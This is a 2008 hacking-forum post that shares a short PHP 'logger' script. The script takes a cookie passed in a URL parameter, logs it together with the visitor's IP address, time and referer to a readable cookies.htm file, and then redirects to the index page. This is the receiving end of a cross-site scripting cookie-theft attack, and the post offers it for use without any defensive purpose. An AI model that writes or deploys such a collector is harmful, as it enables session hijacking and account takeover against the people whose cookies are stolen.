Logger in PHP

Go down

Logger in PHP

Post  cyberhunter on Sun May 25, 2008 10:34 pm

Put the following in your index page or any page you want it to log info. And upload a "cookies.htm" file to the same directory.

Code:

< ?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.htm', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br>
IP: ' .$ip. '<br /> Date and Time: '
.$date. '<br /> Referer:
'.$referer.'<br /><br /><br />');
fclose($fp);
header ("Location: /index.php");
?>
avatar
cyberhunter
Info Cracker
Info Cracker

Posts : 201
Join date : 2008-03-12
Age : 34
Location : In your computer

View user profile http://www.infofreakz.co.cc

Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum